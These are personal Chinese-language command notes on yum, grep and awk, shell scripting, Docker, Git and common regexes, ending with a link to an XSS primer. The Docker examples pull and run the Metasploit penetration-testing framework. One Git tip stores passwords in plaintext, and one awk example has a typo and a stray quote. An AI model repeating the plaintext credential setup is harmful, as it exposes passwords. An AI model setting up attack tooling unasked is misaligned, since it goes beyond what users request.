,安装 apacheyum remove -y httpd
,卸载 apacheyum info -y httpd
,查看 apache 版本信息yum list --showduplicates httpd
,查看可以安装的版本yum install httpd-查询到的版本号
,安装指定版本- 更多命令可以看:http://man.linuxde.net/yum
- 查看某个配置文件,排除掉里面以 # 开头的注释内容:
grep '^[^#]' /etc/openvpn/server.conf
- 查看某个配置文件,排除掉里面以 # 开头和 ; 开头的注释内容:
grep '^[^#;]' /etc/openvpn/server.conf
AWK命令
awk '{ print }' /etc/passwd
查看/etc/passwd内容和用cat命令一样.指定了/etc/passwd 作为输入文件。执行 awk 时,它依次对 /etc/passwd 中的每一行执行 print 命令
awk '{ print $0 }' /etc/passwd
在 awk 中, $0 变量表示整个当前行,所以 print 和 print $0 的作用完全一样.
awk -F":" '{ print $1 }' /etc/passwd
使用 -F 选项来指定 ":" 作为字段分隔符。awk 处理 print $1 命令时,它会打印出在输入文件中每一行中出现的第一个字段(第一列)。
awk -F":" '{ print $1 $3 }' /etc/passwd
打印第一列和第三列
awk -F":" '{ print $1 " " $3 }' /etc/passwd
打印第一列和第三列,用空格分开
awk -F":" '{ print "username: " $1 "/t/tuid:" $3" }' /etc/passwd
拼接一些字符串
待更新
shell编程
拼接字符串
yourname="lihua"
chat="Hello, "$yourname" !"
chat1="Hello, ${yourname} !"
echo ${chat} ${chat1}
if语句
语法格式
if condition
then
command1
fi
if condition
then
command1
else
command1
fi
if condition1
then
command1
elif condition2
then
command1
else
commandm
fi
文件表达式 -e filename 如果 filename存在,则为真 -d filename 如果 filename为目录,则为真 -f filename 如果 filename为常规文件,则为真 -L filename 如果 filename为符号链接,则为真 -r filename 如果 filename可读,则为真 -w filename 如果 filename可写,则为真 -x filename 如果 filename可执行,则为真 -s filename 如果文件长度不为0,则为真 -h filename 如果文件是软链接,则为真 filename1 -nt filename2 如果 filename1比 filename2新,则为真。 filename1 -ot filename2 如果 filename1比 filename2旧,则为真。
整数变量表达式 -eq 等于 -ne 不等于 -gt 大于 -ge 大于等于 -lt 小于 -le 小于等于
字符串变量表达式
If [ $a = $b ] 如果string1等于string2,则为真
字符串允许使用赋值号做等号
if [ $string1 != $string2 ] 如果string1不等于string2,则为真
if [ -n $string ] 如果string 非空(非0),返回0(true)
if [ -z $string ] 如果string 为空,则为真
if [ $sting ] 如果string 非空,返回0 (和-n类似)
逻辑非 ! 条件表达式的相反 if [ ! 表达式 ] if [ ! -d $num ] 如果不存在目录$num
逻辑与 –a 条件表达式的并列 if [ 表达式1 –a 表达式2 ]
逻辑或 -o 条件表达式的或 if [ 表达式1 –o 表达式2 ]
for循环
for var in item1
do
command1
command2
Done
while
while condition
do
command
done
docker命令笔记
搜索镜像
sudo docker search metasploit
拉取(下载)镜像
sudo docker pull metasploitframework/metasploit-framework
查看全部镜像
sudo docker images
简单运行镜像
sudo docker run metasploitframework/metasploit-framework
用id运行
sudo docker run 644b96152120
交互运行镜像
sudo docker run -dit --name msf metasploitframework/metasploit-framework
-dit 同等于 -d -i -t -i: 以交互模式运行容器,通常与 -t 同时使用; -d: 后台运行容器,并返回容器ID; -t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用; --name="msf": 为容器指定一个名称,方面后面直接用名称启动;
进入容器终端(进入已经在运行的镜像)
sudo docker exec -it msf /bin/bash
端口映射,运行镜像(容器80到主机5000)
sudo docker run -dit -p 5000:80 --name nginx nginx:latest
查看容器的端口映射
sudo docker port nginx
启动容器(运行过镜像就会出现一个容器,比如电脑重启就需要重新启动容器,不需要在重新run一个)
sudo docker start nginx
停止容器
sudo docker stop nginx
重启容器
sudo docker restart nginx
查看当前正在运行的容器
sudo docker ps
查看全部,包括已经停止的
docker ps -a
删除容器
sudo docker rm 容器id
强制删除
sudo docker rm -f 容器id
删除镜像
sudo docker rmi 镜像id
查看网络
sudo docker network ls
ubuntu踩坑记录
-
unzip 命令解压windows下的压缩包乱码,可用unar命令解决
sudo apt install unar unar xxx.zip #不需要加参数,自动识别编码
git 笔记
当前项目(仓库)记住密码
1根目录输入:
加--global可以设置全局记住
git config credential.helper store
2然后打开.git文件夹的config文件,回发现多了两行
[credential]
helper=store
3后面只需要pull提交一次就会记住密码
编程语言学习笔记
常用正则
邮箱
[email protected]
只允许英文字母、数字、下划线、英文句号、以及中划线组成
^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$
高子航[email protected]
名称允许汉字、字母、数字,域名只允许英文域名
^[A-Za-z0-9\u4e00-\u9fa5]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$
电话
13012345678
手机号
^1(3|4|5|6|7|8|9)\d{9}$
XXX-XXXXXXX
XXXX-XXXXXXXX
固定电话
(\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}
域名
^((http:\/\/)|(https:\/\/))?([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}(\/)
IP
127.0.0.1
((?:(?:25[0-5]|2[0-4]\d|[01]?\d?\d)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d?\d))
帐号校验
gaozihang_001 字母开头,允许5-16字节,允许字母数字下划线
^[a-zA-Z][a-zA-Z0-9_]{4,15}$
字符校验
汉字
高子航
^[\u4e00-\u9fa5]{0,}$
英文和数字
^[A-Za-z0-9]+$
长度为3-20的所有字符
^.{3,20}$
英文字符
由26个英文字母组成的字符串
^[A-Za-z]+$
由26个大写英文字母组成的字符串
^[A-Z]+$
由26个小写英文字母组成的字符串
^[a-z]+$
由数字和26个英文字母组成的字符串
^[A-Za-z0-9]+$
由数字、26个英文字母或者下划线组成的字符串
^\w+$
中文、英文、数字包括下划线
^[\u4E00-\u9FA5A-Za-z0-9_]+$
中文、英文、数字但不包括下划线等符号
^[\u4E00-\u9FA5A-Za-z0-9]+$
禁止输入含有%&',;=?$"等字符
[^%&',;=?$\x22]+
禁止输入含有~的字符
[^~\x22]+
数字正则
整数
^-?[1-9]\d*$
正整数
^[1-9]\d*$
负整数
^-[1-9]\d*$
非负整数
^[1-9]\d*|0$
非正整数
^-[1-9]\d*|0$
浮点数
^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$
正浮点数
^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$
负浮点数
^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$
非负浮点数
^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$
非正浮点数
^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$
php
读书笔记
漏洞笔记
xss入门https://wizardforcel.gitbooks.io/xss-naxienian/content/1.html